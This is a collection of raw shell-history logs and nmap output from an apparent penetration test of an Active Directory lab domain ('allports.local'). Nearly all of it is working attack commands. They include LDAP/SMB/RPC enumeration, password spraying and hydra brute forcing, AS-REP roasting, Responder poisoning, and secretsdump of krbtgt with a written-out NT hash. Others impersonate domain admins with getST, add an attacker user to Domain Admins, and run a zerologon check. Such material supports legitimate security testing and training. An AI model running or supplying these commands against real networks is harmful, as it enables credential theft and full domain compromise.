_raw:
enum4linux complete on Sat Oct 25 02:39:48 2025\
nmap -sV -sS -T4 10.0.1.6
SMBCLIENT -l //10.0.1.6 -n
smbclient -L //10.0.1.6 -N
crackmap-exec smb 10.0.1.6
crackmapexec smb 10.0.1.6
smbmap -H 10.0.1.6
curl -I http://10.0.1.14/
curl -I https://10.0.1.14/
curl -sS http://10.0.1.14/robots.txt
curl -sS http://10.0.1.14/.git/HEAD
openssl s_client -connect 10.0.1.14:443 -servername 10.0.1.14
gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirb/common.txt -t 40
nikto -h http://10.0.1.14
clear
smbclient -L //10.0.1.20 -U 'guest'
smbclient -L //10.0.1.20 -N
smbclient -L //10.0.1.21 -N
rpcclient -U
rpcclient -U "" 10.0.1.20
rpcclient -U "" 10.0.1.21
nmap --script smb-vuln* -p445 10.0.1.20
nmap --script smb-vuln* -p445 10.0.1.21
nmap -p135 --script=msrpc-info,msrpc-enum 10.0.1.20
nmap -p135 --script=msrpc-enum 10.0.1.20
curl -i http://10.0.1.20:5985/wsman
curl -i http://10.0.1.21:5985/wsman
curl -i http://10.0.1.21:5986/wsman
curl -k -i http://10.0.1.21:5986/wsman
curl -k -i http://10.0.1.20:5986/wsman
curl -k -i https://10.0.1.20:5986/wsman
curl -k -i https://10.0.1.21:5986/wsman
nmap -p5985,5986 --script=winrm-enum-users 10.0.1.20
nmap -p5985,5986 --script=winrm-auth 10.0.1.20
curl -i -s -X POST http://10.0.1.20:5985/wsman \\
-H "Content-Type: application/soap+xml;charset=UTF-8"
curl -i -s -X POST http://10.0.1.20:5985/wsman \\
-H "Content-Type: application/soap+xml;charset=UTF-8" \\
--data-binary @- -u '':
curl -i -s -X POST http://10.0.1.20:5985/wsman \\
-H "Content-Type: application/soap+xml;charset=UTF-8" \\
--data-binary @- -u '':''
crackmapexec winrm 10.0.1.20 -u '' -p ''
crackmapexec smb 10.0.1.20 -u '' -p ''
crackmapexec smb 10.0.1.20
crackmapexec winrm 10.0.1.20
crackmapexec winrm 10.0.1.21
crackmapexec smb 10.0.1.21
enum4linux -a 10.0.1.20
enum4linux -a 10.0.1.21
rpcclient -U "" 10.0.1.20 'enumdomusers; querydominfo; lsaquery' 2>&1
rpcclient -U "" 10.0.1.20 -c 'enumdomusers; querydominfo; lsaquery' 2>&1
rpcclient -U "" 10.0.1.21 -c 'enumdomusers; querydominfo; lsaquery' 2>&1
nmap -p3389 --script rdp-enum-encryption
nmap -p3389 --script rdp-enum-encryption 10.0.1.20
nmap -p3389 --script rdp-enum-encryption 10.0.1.21
smbmap -H 10.0.1.20
smbmap -H 10.0.1.21
curl -i -s -x POST http://10.0.1.20:5985/wsman -H "Content-Type: application/soap+xml;charset=UTF-8" --data-binary @-
curl -k -i POST https://10.0.1.20:5986/wsman -H "Content-Type: application/soap+xml;charset=UTF-8" --data-binary @-
curl -k -i POST -X https://10.0.1.20:5986/wsman -H "Content-Type: application/soap+xml;charset=UTF-8" --data-binary @-
nmap -p3389 --script rdp-enum-encryption 10.0.1.21
nmap -p3389 --script ssl-cert 10.0.1.21
nmap -p3389 --script ssl-cert 10.0.1.20
ldapsearch -x -H ldap://10.0.1.6 -s base -b "" "(objectclass=*)" namingContexts rootDomainNamingContext defaultNamingContext
ldapdomaindump ldap://10.0.1.6 -u '' -p ''
ldapdomaindump ldap://10.0.1.6 -u 'allports.local\bfinn' -p ''
ldapdomaindump ldap://10.0.1.6 -u 'allports.local\guest' -p ''
ldapdomaindump ldap://10.0.1.6 -u 'allports.local\anonymous' -p ''
ldapdomaindump ldap://10.0.1.6 -u 'allports.local\anonymous' -p 'password'
ldapdomaindump ldap://10.0.1.6 -u 'allports.local\guest' -p 'password'
python3 GetNPUsers.py DOMAIN/ -no-pass -dc-ip 10.0.1.6
smbclient -L //10.0.1.6 -N
git clone https://github.com/SecureAuthCorp/impacket.git
ls
git clone https://github.com/SecureAuthCorp/impacket.git .
cd impacket
ls
python3 examples/GetNPUsers.py allports.local -no-pass -dc-ip 10.0.1.6
pip install --upgrade impacket
python3 -m impacket.examples.GetNPUsers DOMAIN/ -no-pass -dc-ip TARGET
python3 -m impacket.examples.GetNPUsers DOMAIN/ -no-pass -dc-ip 10.0.1.6
# create folder and venv\
mkdir -p ~/tools/impacket && cd ~/tools/impacket\
python3 -m venv venv\
source venv/bin/activate\
\
# clone and install impacket from GitHub (latest)\
git clone https://github.com/SecureAuthCorp/impacket.git .\
pip install --upgrade pip\
pip install -r requirements.txt\
pip install .\
ls
cd ..
ls
exit


_raw:
apt install ffuf dirsearch pipx
sudo apt install ffuf dirsearch pipx
cat password.txt
sudo apt install ffuf dirsearch pipx
/www.example.com/ -L
naabu -host $TARGET
ldapsearch -H ldap://$TARGET -x -b "DC=DOMAIN,DC=LOCAL"
ASRepCatcher relay -dc "$DC_IP"
ASRepCatcher relay -dc "$DC_IP" -iface "$INTERFACE" -tf targets.txt -format hashcat -outfile ASREPHashes.txt -usersfile users.txt
ASRepCatcher listen -dc "$DC_IP" -iface "$INTERFACE"
pretender -i "$INTERFACE" --dry
pretender -i "$INTERFACE" --dry --no-ra
pretender -i "$INTERFACE" --dry --no-ra-dns
pretender -i "$INTERFACE" --spoof "$DOMAIN"
Responder.py --interface "$INTERFACE" --analyze --lm --disable-ess
Responder.py --interface "$INTERFACE" --analyze --disable-ess
Responder.py --interface "$INTERFACE" --wpad --lm --ProxyAuth --disable-ess
Responder.py --interface "$INTERFACE" --wpad --lm --disable-ess
responder --interface "$INTERFACE" --analyze --lm --disable-ess
responder --interface "$INTERFACE" --analyze --disable-ess
responder --interface "$INTERFACE" --wpad --lm --ProxyAuth --disable-ess
responder --interface "$INTERFACE" --wpad --lm --disable-ess
responder-http-off
responder-http-on
responder-smb-off
responder-smb-on
ldapdomaindump --user "$DOMAIN"\\"$USER" --password "$PASSWORD" --outdir ldapdomaindump "$DC_HOST"
sprayhound -d "$DOMAIN" -dc "$DC_HOST" -nu 'neo4j' -np 'exegol4thewin' -lu "$USER" -lp "$PASSWORD"
secretsdump -ldapfilter '(&(objectClass=user)(adminCount=1))' -just-dc -hashes :a88baa3fdc8f581ee0fb05d7054d43e4 "$DOMAIN"/Administrator@"$DC_HOST"
secretsdump -no-pass "$DOMAIN"/'DC01$'@"$DC_HOST"
secretsdump -outputfile "$DOMAIN" -just-dc -hashes :"$NT_HASH" "$DOMAIN"/"$USER"@"$DC_HOST"
secretsdump -just-dc-user krbtgt -hashes :"$NT_HASH" "$DOMAIN"/"$USER"@"$DC_HOST"
KRB5CCNAME='domainadmin.ccache' secretsdump -just-dc-user 'krbtgt' -dc-ip "$DC_HOST" -k -no-pass @"$DC_HOST"
KRB5CCNAME='DC01.ccache' impacket-getST -self -impersonate 'domainadmin' -k -no-pass -dc-ip "$DC_HOST" "$DOMAIN"/"$DC_HOST"
impacket-getST -self -impersonate 'domainadmin' -k -no-pass -dc-ip "$DC_HOST" "$DOMAIN"/"$DC_HOST"
impacket-getST -spn "host/$TARGET" -impersonate 'domainadmin' -dc-ip "$DC_IP" "$DOMAIN"/'EXEGOL-01$':'exegol4thewin'
impacket-getST -spn CIFS/"$TARGET" -impersonate Administrator -dc-ip "$DC_IP" "$DOMAIN"/"$USER":"$PASSWORD"
top-usernames-shortlist.txt -t "$TARGET" "$PORT"
smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT"
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t "$TARGET" "$PORT"
gpp-decrypt.py -f groups.xml
ntlmv1-multi.py --ntlmv1 SV01$::DOMAIN.LOCAL:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:AD1235DEAC142CD5FC2D123ADCF51A111ADF45C2345ADCF5:1122334455667788
hashonymize --ntds $DOMAIN --kerberoast Kerberoastables.txt --asreproast ASREProstables.txt
gosecretsdump -ntds ntds.dit.save -system system.save
proxychains adidnsdump --dns-tcp -u "$DOMAIN"\\"$USER" -p "$PASSWORD" --print-zones "$TARGET"
adidnsdump -u "$DOMAIN"\\"$USER" -p "$PASSWORD" --print-zones "$TARGET"
pygpoabuse.py $DOMAIN/$USER -hashes lm:$NT_HASH -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
bloodhound-import -du neo4j -dp exegol4thewin *.json


_raw: : 1761374135:0;sudoedit -u pentester /etc/sudoers


_raw:
dig axfr "$DOMAIN" @"$TARGET"
nslookup -type=srv _gc._tcp."$DOMAIN"
nslookup -type=srv _kerberos._tcp."$DOMAIN"
nslookup -type=srv _kpasswd._tcp."$DOMAIN"
nslookup -type=srv _ldap._tcp."$DOMAIN"
nslookup -type=srv _ldap._tcp.dc._msdcs."$DOMAIN"
nslookup -type=srv _ldap._tcp.dc._msdcs."$DOMAIN"
net rpc password 'targetuser' 'somenewpassword123' -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
net rpc user add 'targetuser' "$PASSWORD" -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
net rpc group members 'Domain admins' -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
net rpc group addmem 'Domain admins' 'attacker_user' -U "$DOMAIN"/"$USER"%"$PASSWORD" -S "$DC_HOST"
nmblookup -A "$TARGET"
ssh-keygen -t rsa -b 4096 -f keyname
snmpwalk -c public -v 1 "$TARGET"
snmpwalk -c public -v 2c "$TARGET"


_raw:
|   date: 2025-10-18T21:37:42\
|_  start_date: N/A\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
1   ...\
2   1.68 ms 10.0.1.21\
\
Nmap scan report for 10.0.1.30\
Host is up (0.00089s latency).\
Not shown: 999 closed tcp ports (reset)\
PORT   STATE SERVICE VERSION\
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\
| ssh-hostkey: \
|   256 6c:b7:9a:ab:5d:a0:36:ff:7f:5d:cb:12:10:e2:fa:9e (ECDSA)\
|_  256 47:a9:7b:ba:7b:4f:21:98:02:7f:32:d2:d2:f4:d6:4c (ED25519)\
Device type: general purpose|router\
Running: Linux 5.X, MikroTik RouterOS 7.X\
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3\
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)\
Uptime guess: 36.347 days (since Fri Sep 12 09:17:52 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=258 (Good luck!)\
IP ID Sequence Generation: All zeros\
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\
\
TRACEROUTE (using port 110/tcp)\
HOP RTT     ADDRESS\
-   Hop 1 is the same as for 10.0.1.14\
2   1.81 ms 10.0.1.30\
\
Nmap scan report for 10.0.1.99\
Host is up (0.00085s latency).\
Not shown: 995 closed tcp ports (reset)\
PORT     STATE SERVICE  VERSION\
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\
| ssh-hostkey: \
|   256 56:2f:2c:c7:f5:85:f1:f4:6e:e0:80:d0:52:5b:32:b2 (ECDSA)\
|_  256 5f:cb:bd:3d:5c:84:58:56:84:e2:3b:3a:5a:cb:10:9b (ED25519)\
80/tcp   open  http     Golang net/http server (Go-IPFS json-rpc or InfluxDB API)\
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).\
443/tcp  open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)\
| ssl-cert: Subject: commonName=TRAEFIK DEFAULT CERT\
| Subject Alternative Name: DNS:49b3e00ad1690fc35547fabec30232e7.ecfd0d027bd14839a9013eb35fb90bb5.traefik.default\
| Issuer: commonName=TRAEFIK DEFAULT CERT\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha256WithRSAEncryption\


_raw:
|   date: 2025-10-18T21:37:36\
|_  start_date: N/A\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
-   Hop 1 is the same as for 10.0.1.14\
2   1.69 ms 10.0.1.20\
\
Nmap scan report for 10.0.1.21\
Host is up (0.00067s latency).\
Not shown: 994 closed tcp ports (reset)\
PORT     STATE SERVICE       VERSION\
135/tcp  open  msrpc         Microsoft Windows RPC\
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn\
445/tcp  open  microsoft-ds?\
3389/tcp open  ms-wbt-server Microsoft Terminal Services\
| ssl-cert: Subject: commonName=Deckhand-02.allports.local\
| Issuer: commonName=Deckhand-02.allports.local\
| Public Key type: rsa\
| Public Key bits: 2048\
| Signature Algorithm: sha256WithRSAEncryption\


_raw:
|   date: 2025-10-18T21:37:23\
|_  start_date: N/A\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
-   Hop 1 is the same as for 10.0.1.14\
2   1.57 ms 10.0.1.6\
\
Nmap scan report for 10.0.1.10\
Host is up (0.0013s latency).\
Not shown: 999 closed tcp ports (reset)\
PORT   STATE SERVICE VERSION\
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\
| ssh-hostkey: \
|   256 a2:3c:cf:9a:6b:e9:da:c2:52:3d:30:c9:c8:70:67:bc (ECDSA)\
|_  256 cb:a0:85:d0:1a:39:ce:23:a8:a1:3e:1a:cb:6e:d9:ae (ED25519)\
Device type: general purpose\
Running: Linux 5.X\
OS CPE: cpe:/o:linux:linux_kernel:5\
OS details: Linux 5.0 - 5.14\
Uptime guess: 44.388 days (since Thu Sep  4 08:18:46 2025)\
Network Distance: 2 hops\
TCP Sequence Prediction: Difficulty=262 (Good luck!)\
IP ID Sequence Generation: All zeros\
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\
\
TRACEROUTE (using port 1025/tcp)\
HOP RTT     ADDRESS\
-   Hop 1 is the same as for 10.0.1.14\
2   4.88 ms 10.0.1.10\
\
Nmap scan report for 10.0.1.11\
Host is up (0.00072s latency).\
Not shown: 995 closed tcp ports (reset)\
PORT     STATE SERVICE VERSION\
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\
| ssh-hostkey: \
|   256 c1:78:8c:04:c3:bc:88:9e:9c:b7:51:18:cb:a9:84:e1 (ECDSA)\
|_  256 4c:db:2a:03:dd:5f:0b:61:d0:78:95:54:f1:fc:e6:fd (ED25519)\
80/tcp   open  http\
|_http-cors: HEAD GET POST PUT DELETE PATCH\
|_http-favicon: Unknown favicon MD5: EB123EDFBF0477095FCE9A584C3552BF\
| http-robots.txt: 1 disallowed entry \
|_/api/\
| http-methods: \
|_  Supported Methods: GET HEAD POST OPTIONS\
| fingerprint-strings: \
|   GetRequest: \
|     HTTP/1.1 200 OK\
|     X-Robots-Tag: noindex\
|     Access-Control-Allow-Origin: *\
|     Cache-Control: no-cache, no-store, must-revalidate\
|     Pragma: no-cache\
|     Expires: 0\
|     Content-Type: text/html; charset=utf-8\
|     Content-Length: 4831\
|     ETag: W/"12df-8ztLYnBf9fwvhg3MbB2KuLXs0Po"\
|     Vary: Accept-Encoding\


_raw:
cat /etc/hosts
nxc smb 10.0.1.6 -u '' -p '' --rid-brute
nxc ldap 10.0.1.6 -u '' -p '' --rid-brute
mkdir evil_driver
impacket-smbserver share ./evil_driver/ -smb2support
ldapsearch -x -H "ldap://APT-DC-01.allports.local" -s base -b "" namingcontexts
curl http://10.0.1.14 -H "Host: CruissantServer.allports.tours"
curl https://10.0.1.14 -H "Host: CruissantServer.allports.tours"
curl https://10.0.1.14 -H "Host: CruissantServer.allports.tours" -k
curl https://10.0.1.14 -H "Host: gunicorn.allports.tours" -k
nxc smb apt-dc-01.allports.local -u '' -p '' -M maq
nxc ldap apt-dc-01.allports.local -u '' -p '' -M maq
nxc ldap apt-dc-01.allports.local -u '' -p '' -M adcs
nxc ldap apt-dc-01.allports.local -u '' -p '' --users
nxc ldap apt-dc-01.allports.local -u '' -p '' --groups
nxc ldap apt-dc-01.allports.local -u 'anonymous' -p 'anonymous' --users
nxc ldap apt-dc-01.allports.local -u 'anonymous' -p '' --users
nxc ldap apt-dc-01.allports.local -u 'guest' -p '' --users
nxc ldap apt-dc-01.allports.local -u 'guest' -p 'guest' --users
vim ~/.nxc/nxc.conf
nxc smb ~/445hosts -u '' -p ''
vim ~/.nxc/nxc.conf
nxc smb ~/445hosts -u '' -p ''
nxc smb ~/445hosts -u '' -p '' --local-auth
nxc smb ~/445hosts -u '' -p '' --local-auth --shares
nxc ldap ~/445hosts -u '' -p '' --local-auth --shares
nxc ldap ~/445hosts -u '' -p '' --local-auth
nxc smb ~/445hosts -u 'guest' -p 'guest' --local-auth --shares
nxc smb ~/445hosts -u 'guest' -p 'guest' --local-auth --users
nxc smb ~/445hosts -u '' -p '' --local-auth --users
nxc smb ~/445hosts -u '' -p '' --users
nxc ldap ~/445hosts -u '' -p '' --users
nxc ldap ~/445hosts -u '' -p '' -M description
nxc ldap ~/445hosts -u '' -p '' -M get-desc-users
nxc ldap ~/445hosts -u 'a' -p '' -M get-desc-users
nxc ldap ~/445hosts -u '' -p '' -M get-desc-users
nxc winrm ~/445hosts -u '' -p ''
nxc winrmf ~/445hosts -u '' -p ''
nxc rdp ~/445hosts -u '' -p ''
nxc wmi ~/445hosts -u '' -p ''
nxc wmi ~/445hosts -u '' -p '' -x whoami
nxc wmi ~/445hosts -u 'anonymous' -p ''
nxc wmi ~/445hosts -u 'anonymous' -p 'anonymous'
nxc wmi ~/445hosts -u 'guest' -p 'guest' -x whoami
nxc wmi ~/445hosts -u '' -p '' -x whoami
nxc wmi ~/445hosts -u '' -p '' --local-auth
nxc wmi ~/445hosts -u '' -p '' --local-auth -x whoami
nxc rdp 10.0.1.6 --nla-screenshot
cat /home/pentester/.nxc/screenshots/APT-DC-01_10.0.1.6_2025-10-18_160347.png
open /home/pentester/.nxc/screenshots/APT-DC-01_10.0.1.6_2025-10-18_160347.png
rdesktop 10.0.1.6
rdesktop 10.0.1.20
rdesktop 10.0.1.21
rdesktop 10.0.1.20
rdesktop 10.0.1.6
nmap 10.0.1.0/24 -p3389 -Pn
nmap 10.0.1.0/24 -p3389 -Pn --open
rpcclient -N -U "" -L \\10.0.1.6
rpcclient -N -U "" -L //10.0.1.6
rpcclient -N -U "" -L //10.0.1.6/
rpcclient -N -U "" -L 10.0.1.6
rpcclient -N -U "" -I 10.0.1.6
rpcclient -N -U "" -I \\10.0.1.6
rpcclient -N -U "" -I '10.0.1.6'
rpcclient -N -U "" --dest-ip=10.0.1.6
rpcclient -U ''%''@123 10.0.1.6
rpcclient -U Administrator%Ignite@123 192.168.1.172
rpcclient -U Administrator%Ignite@123 10.0.1.6
nxc smb 10.0.1.6 -u ADusers -p Ignite
vim every_username
vim passwords


_raw:
cd Downloads
ls
chmod + Windows-Setup.sh
ls
./Windows-Setup.sh
chmod +x Windows-Setup.sh
./Windows-Setup.sh
sudo vim /etc/hosts
hostname
sudo vim /etc/hosts
./Windows-Setup.sh
msfconsole
ldapsearch -H ldap://10.0.1.6 -x -s base '' "(objectClass=*)" "*" +
ldapsearch -H ldap://10.0.1.6 -x -s base '' "(objectClass=*)" "*"
mysql -u
mysql -h
mysql --help
mysql -h 10.0.1.15 -uroot -p
mysql -h 10.0.1.15 -uroot -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -umysql -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -uroot -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -umysql -p --skip-ssl-verify-server-cert
sudo apt install seclists
vim ADusers
netexec smb 10.0.1.6 -u ADusers -p ''
netexec smb 10.0.1.6 -u ADusers -p 'P@ssw0rd'
netexec smb 10.0.1.6 -u ADusers -p 'Rockyou!'
netexec smb 10.0.1.6 -u ADusers -p '123'
impacket-GetNPUsers
impacket-GetNPUsers allports.local/''@10.0.1.6 -no-pass -usersfile ADusers
ls /usr/share/seclists/Usernames/Names
cat /usr/share/seclists/Usernames/Names/names.txt
ls /usr/share/seclists/Usernames/Names
head /usr/share/seclists/Usernames/Names/malenames-usa-top1000.txt
head /usr/share/seclists/Usernames
ls /usr/share/seclists/Usernames/
head /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
impacket-GetNPUsers allports.local/''@10.0.1.6 -no-pass -usersfile ADusers
netexec smb 10.0.1.6 -u ADusers -p ADusers
netexec smb 10.0.1.6 -u ADusers -p 'Rockyou!'
cd ..
netexec smb 445hosts -u ADusers -p 'Rockyou!' --local-auth
netexec ldap 445hosts -u ADusers -p 'Rockyou!' --local-auth
netexec ldap 445hosts -u ADusers -p '' --local-auth
nmap 10.0.1.254 -Pn -p-
sudo nmap 10.0.1.0/24 -Pn -p161,67,68,69 -sU
sudo nmap 10.0.1.0/24 -Pn -p161,67,68,69 -sU --open
snmpwalk 10.0.1.244
ldapsearch -x -H ldap://10.0.1.6 -b "(objectClass=*)" "*"
ldapsearch -x -H ldap://10.0.1.6 -b "" "(objectClass=*)" "*"
ldapsearch -x -H ldap://10.0.1.6 -b "(dc=allports,dc=tours)" "(objectClass=*)" "*"
ldapsearch -x -H ldap://10.0.1.6 -b "(dc=allports,dc=local)" "(objectClass=*)" "*"
ldapsearch -x -H ldap://10.0.1.6 -b "(dc=allports,dc=local)" "(objectClass=*)"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=*)"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=tours" "(objectClass=*)"
dirsearch
dirsearch -h
dirsearch -u http://10.0.1.14
dirsearch -u https://10.0.1.14
dirsearch -u http://10.0.1.14:5001
dirsearch -u http://10.0.1.14 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
dirsearch -u https://10.0.1.14 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
msfconsole
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=tours" "(objectClass=*)"
ldapsearch -x -H ldap://10.0.1.6 -b "" "(objectClass=*)"
ldapsearch -x -H ldap://10.0.1.6 -b "" "(objectClass=*)" "*"
ldapsearch -x -H ldap://10.0.1.6 -s base -b "" "(objectClass=*)" "*"
cd Downloads
ls
cat /etc/hosts
chmod +x ldeep_linux-amd64
ls
./ldeep_linux-amd64
python -m pip install ldeep
python3 -m venv venv
source venv/bin/activate
python -m pip install ldeep
ldeep ldap -u '' -p '' -d winlab -s ldap://10.0.1.6 all backup/winlab
ldeep ldap -d winlab -s ldap://10.0.1.6 all backup/winlab
ldeep -h
ldeep ldap -h
ldeep ldap -a -d winlab -s ldap://10.0.1.6 all backup/winlab
mkdir stuff
ldeep ldap -a -d winlab -s ldap://10.0.1.6 all stuff
ls
cat stuff_users_*
ls stuff
cat stuff_*
rm stuff_*
cd stuff
ldeep ldap -a -d winlab -s ldap://10.0.1.6 all stuff -t simple
ldeep ldap -a -d winlab -s ldap://10.0.1.6 all stuff -h
ldeep ldap -h
ldeep ldap -a -t simple -d winlab -s ldap://10.0.1.6 all stuff
ls
cat *
evil-winrm -i 10.0.1.6
evil-winrm -i 10.0.1.6 -u '' -p ''
evil-winrm -i 10.0.1.20 -u '' -p ''
evil-winrm -i 10.0.1.21 -u '' -p ''
ldeep cache
nc 10.0.1.10:8768
nc 10.0.1.10 8768
nmap 10.0.1.0/24 -p3306 -Pn
nmap 10.0.1.0/24 -p3306 -Pn --open


_raw:
ldapsearch -x -H "ldap://APT-DC-01.allports.local" -s base -b "CN=Configuration,DC=allports,DC=local"
ldapsearch -x -H "ldap://APT-DC-01.allports.local" -s base -b "CN=Schema,CN=Configuration,DC=allports,DC=local"
ldapsearch -x -H "ldap://APT-DC-01.allports.local" -s base -b "DC=DomainDnsZones,DC=allports,DC=local"
ldapsearch -x -H "ldap://APT-DC-01.allports.local" -s base -b "DC=ForestDnsZones,DC=allports,DC=local"
ldapsearch -x -H "ldap://APT-DC-01.allports.local" -b "DC=ForestDnsZones,DC=allports,DC=local"
ldapsearch -H "ldap://APT-DC-01.allports.local" -b "DC=ForestDnsZones,DC=allports,DC=local"
cd /usr/share/wordlists
gunzip rockyou.txt.gz
ls
sudo gunzip rockyou.txt.gz
ls
cd ~/Downloads
ls
cat /usr/share/wordlists/rockyou.txt| grep "dog"
cat /usr/share/wordlists/rockyou.txt| grep "dog" > dogpasswords
cat ADusers
nxc smb 10.0.1.6 -u 'bfinn' -p dogpasswords
c
ldapsearch -H "ldap://APT-DC-01.allports.local" -b "DC=allports,DC=local" '(objectClass=*)'
ldapsearch -H "ldap://APT-DC-01.allports.local" -b "DC=allports,DC=local" '(objectClass=*)' -
ldapsearch -H "ldap://APT-DC-01.allports.local" -b "DC=allports,DC=local" '(objectClass=*)' -x
ls
vim chatusers
ls
./kerbrute_linux_amd64
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 -d allports.local chatusers
cp chatusers chatusers2
vim chatusers2
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 -d allports.local chatusers2
cat chatusers*
python3 scanner.py
python3 scanner.py 10.0.1.6/32
python3 scanner.py 10.0.1.20/32
python3 scanner.py 10.0.1.21/32
ls
hydra
hydra -L every_username -P passwords 10.0.1.99 mysql
hydra -L every_username -P passwords 10.0.1.15 mysql
hydra -L every_username -P every_username 10.0.1.15 mysql
hydra -L every_username -P every_username 10.0.1.99 mysql
nxc smb ~/445hosts -u 'Administrator' -p '' --local-auth
nxc smb ~/445hosts -u 'Administrator' -p 'Administrator' --local-auth
nxc smb ~/445hosts -u 'Administrator' -p 'P@ssw0rd' --local-auth
nxc smb ~/445hosts -u 'Administrator' -p 'IamTheCaptain' --local-auth
nxc ldap 10.0.1.6 -u '' -p ''
nxc ldap 10.0.1.6 -u '' -p '' --users


_raw: ffuf -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u https://10.0.1.14


_raw: ffuf -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://10.0.1.14 -fs 169


_raw: ffuf -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://10.0.1.14 -r


_raw:
cd ..
nmap
vim hosts
nmap -iL hosts -Pn -p445,80
vim hosts
nmap 10.0.1.0/24 -Pn -p445,80 --open
nmap -iL hosts -Pn -p445,80 --open
vim 445hosts
nmap -iL 445hosts -Pn -p- --open
nmap -iL 445hosts -Pn -p- --open -A
mount -t cifs //10.0.254.204/obsidian
mkdir obsidian
mount -t cifs //10.0.254.204/obsidian ~/obsidian
sudo mount -t cifs //10.0.254.204/obsidian ~/obsidian
ls obsidian
ls obsidian/vault
sudo apt install obsidian
netexec smb 10.0.1.6 -u '' -p ''
sudo apt install obsidian
netexec smb 10.0.1.6 -u '' -p ''
vim ~/.nxc/nxc.conf
netexec smb 10.0.1.6 -u 'a' -p ''
netexec smb 10.0.1.6 -u 'a' -p 'f'
vim ~/.nxc/nxc.conf
netexec ldap 10.0.1.6 -u '' -p ''
ldapsearch -x -LLL -H "ldap://10.0.1.6" -b "dc=allports,dc=local"
ldapsearch -x -LLL -H "ldap://10.0.1.6" -b "dc=allports,dc=local" -D "" -w ""
netexec ldap 10.0.1.6 -u '' -p '' -M maq
ldapsearch -x -LLL -H "ldap://10.0.1.6"
ldapsearch -x -LLL "ldap://10.0.1.6"
ldapsearch -x -H "ldap://10.0.1.6"
ldapsearch -x -H "ldap://10.0.1.6" -D "dc=allports,dc=local"
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=allports,dc=local"
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=allports,dc=local" "*"
netexec ldap 10.0.1.6 -u '' -p '' --groups
netexec ldap 10.0.1.6 -u '' -p '' "(sAMAccountName=Administrator)" ""
netexec ldap 10.0.1.6 -u '' -p '' "(objectClass=*)" ""
netexec ldap 10.0.1.6 -u 'a' -p 'a' '(objectClass=*' ""
netexec ldap 10.0.1.6 -u 'a' -p 'a' '(objectClass=*)' ""
netexec ldap 10.0.1.6 -u 'a' -p 'a' "(objectClass=*)" ""
netexec ldap 10.0.1.6 -u '' -p '' "(sAMAccountName=Administrator)" ""
netexec ldap 10.0.1.6 -u 'guest' -p 'guest' "(sAMAccountName=Administrator)" ""
netexec smb 10.0.1.6 -u 'guest' -p 'guest'
netexec ldap 10.0.1.6 -u 'guest' -p 'guest'
netexec ldap 445hosts -u 'guest' -p 'guest'
netexec smb 445hosts -u 'guest' -p 'guest'
netexec smb 445hosts -u 'guest' -p 'guest' --local-auth
netexec ldap 445hosts -u 'guest' -p 'guest' --local-auth
netexec smb 445hosts -u '' -p '' -M zerologon
nxc ldap 10.0.1.6 -u '' -p ''
nxc ldap 10.0.1.6 -u '' -p '' --query "(objectClass=*)" ""
nxc ldap 10.0.1.6 -u '' -p '' --query "(objectClass=*)" "*"
nxc ldap 10.0.1.6 -u '' -p '' --query "(objectClass=*)" "(sAMAccountName=Administrator)" ""
nxc ldap 10.0.1.6 -u '' -p '' --query "(sAMAccountName=Administrator)" ""
nxc ldap 10.0.1.6 -u '' -p '' -M adcs
nxc ldap 10.0.1.6 -u '' -p '' -M sccm
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=allports,dc=local" "*"
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=allports,dc=local" ""
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=allports,dc=local"
ldapsearch -x -H "ldap://10.0.1.6"
ldapsearch -H "ldap://10.0.1.6"
